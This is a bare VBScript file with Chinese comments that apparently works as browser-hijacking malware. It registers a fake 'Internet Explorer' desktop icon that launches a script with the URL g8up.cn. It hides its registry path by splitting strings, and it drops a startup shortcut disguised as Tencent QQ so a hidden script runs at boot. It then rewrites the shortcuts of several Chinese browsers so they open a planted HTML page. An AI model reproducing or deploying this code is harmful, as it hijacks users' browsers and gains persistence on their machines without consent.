Set WshShell = WScript.CreateObject("WScript.Shell")
strDesktop = WshShell.SpecialFolders("Desktop") :'特殊文件夹“桌面”
Favorites = WshShell.SpecialFolders("Favorites") :'特殊文件夹“桌面”
strttWinDir = WshShell.ExpandEnvironmentStrings("%ProgramFiles%")
iescc=strttWinDir&"\Internet Explorer\iexplore.exe"
ssd="粘贴"
winds = WshShell.ExpandEnvironmentStrings("%SystemRoot%")
ThisPath=strttWinDir & "\" & "winsoft5\Internet.vbs" '设置MYIE路径
CopyPath=WSHShell.ExpandEnvironmentStrings("%SystemRoot%") & "\" '获取
ScriptEx=CopyPath & "System32\WScript.exe"
WSHShell.RegWrite "HKCR\CLSID\{86AEFBE8-763F-0647-899C-A93278894D8F}\", "Internet Explorer"
WSHShell.RegWrite "HKCR\CLSID\{86AEFBE8-763F-0647-899C-A93278894D8F}\DefaultIcon\", iescc
WSHShell.RegWrite "HKCR\CLSID\{86AEFBE8-763F-0647-899C-A93278894D8F}\Shell\Open\", "打开我的主页"
WSHShell.RegWrite "HKCR\CLSID\{86AEFBE8-763F-0647-899C-A93278894D8F}\ShellFolder\Attributes", 10, "REG_DWORD"
WSHShell.RegWrite "HKCR\CLSID\{86AEFBE8-763F-0647-899C-A93278894D8F}\Shell\Open\Command\", ScriptEx & " """ &ThisPath & """
http://g8up.cn"
WSHShell.RegWrite "HK"&"LM\S"&"OF"&"TW"&"A"&"RE"&"\"&"Mi"&"cros"&"of"&"t\W"&"in"&"do"&"w"&"s"&"\Cu"&"rr"&"en"&"tVer"&"sion"&"\Exp"&"lor"&"er\Des"&"kt"&"op\Na"&"meSpac"&"e\{"&"86"&"AE"&"FB"&"E8"&"-76"&"3F-"&"06"&"47-8"&"99"&"C-A9"&"32"&"78"&"8"&"9"&"4D8"&"F}\", "In"&"ter"&"net"&" Expl"&"or"&"er"
pathname = WshShell.SpecialFolders("AllUsersStartMenu") +"\程序\启动\"
Set oShellLink = WshShell.CreateShortcut(pathname+"腾讯QQ.lnk")
oShellLink.TargetPath = "%Program"&"Files%\winsoft5\22"&"22.vbs" : '目标
oShellLink.IconLocation = "%ProgramFiles%\winsoft5\qq.ico, 0" : '图标
oShellLink.WorkingDirectory = "%ProgramFiles%\winsoft5\" : '起始位置
oShellLink.Save : '创建保存快捷方式
Sub Doits12345(lnktz)
Dim oldpath,newpath
oldpath = lnktz
Dim Wsh,fso
newpath = """"&strttWinDir&"\Common Files\winie5.html"""
Set Wsh = WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Dim Folders
Folders = Wsh.SpecialFolders("AllUsersDesktop")
Set f = fso.GetFolder(Folders)
Set fc = f.Files
For Each f1 in fc
ext = LCase(fso.GetExtensionName(f1))
if ext = "lnk" then
Set oShlnk = Wsh.CreateShortcut(f1)
If Instr(oShLnk.TargetPath,oldpath) > 0 Then
oShLnk.Arguments = newpath
oShLnk.Save
End If
Set oShLnk=NoThing
end if
Next
Folders = Wsh.SpecialFolders.Item("AppData")& "\Microsoft\Internet Explorer\Quick Launch"
Set f = fso.GetFolder(Folders)
Set fc = f.Files
For Each f1 in fc
ext = LCase(fso.GetExtensionName(f1))
if ext = "lnk" then
Set oShlnk = Wsh.CreateShortcut(f1)
If Instr(oShLnk.TargetPath,oldpath) > 0 Then
oShLnk.Arguments = newpath
oShLnk.Save
End If
Set oShLnk=NoThing
end if
Next
Dim oShlnk,Folder
Folder = Wsh.SpecialFolders("Desktop")
Dim f,fc,f1,ext
Set f = fso.GetFolder(Folder)
Set fc = f.Files
For Each f1 in fc
ext = LCase(fso.GetExtensionName(f1))
if ext = "lnk" then
Set oShlnk = Wsh.CreateShortcut(f1)
If Instr(oShLnk.TargetPath,oldpath) > 0 Then
oShLnk.Arguments = newpath
oShLnk.Save
End If
Set oShLnk=NoThing
end if
Next
Folders = Wsh.SpecialFolders.Item("StartMenu")
Set f = fso.GetFolder(Folders)
Set fc = f.Files
For Each f1 in fc
ext = LCase(fso.GetExtensionName(f1))
if ext = "lnk" then
Set oShlnk = Wsh.CreateShortcut(f1)
If Instr(oShLnk.TargetPath,oldpath) > 0 Then
oShLnk.Arguments = newpath
oShLnk.Save
End If
Set oShLnk=NoThing
end if
Next
Folders = Wsh.SpecialFolders.Item("AllUsersStartMenu")
Set f = fso.GetFolder(Folders)
Set fc = f.Files
For Each f1 in fc
ext = LCase(fso.GetExtensionName(f1))
if ext = "lnk" then
Set oShlnk = Wsh.CreateShortcut(f1)
If Instr(oShLnk.TargetPath,oldpath) > 0 Then
oShLnk.Arguments = newpath
oShLnk.Save
End If
Set oShLnk=NoThing
end if
Next
Set WSH = Nothing
End Sub
Call Doits12345("TTraveler"&".exe")
Call Doits12345("SogouExplorer.exe")
Call Doits12345("TheWorld.exe")
Call Doits12345("Maxthon.exe")
Call Doits12345("Maxthon2.exe")
Call Doits12345("360SE"&".exe")
WScript.quit
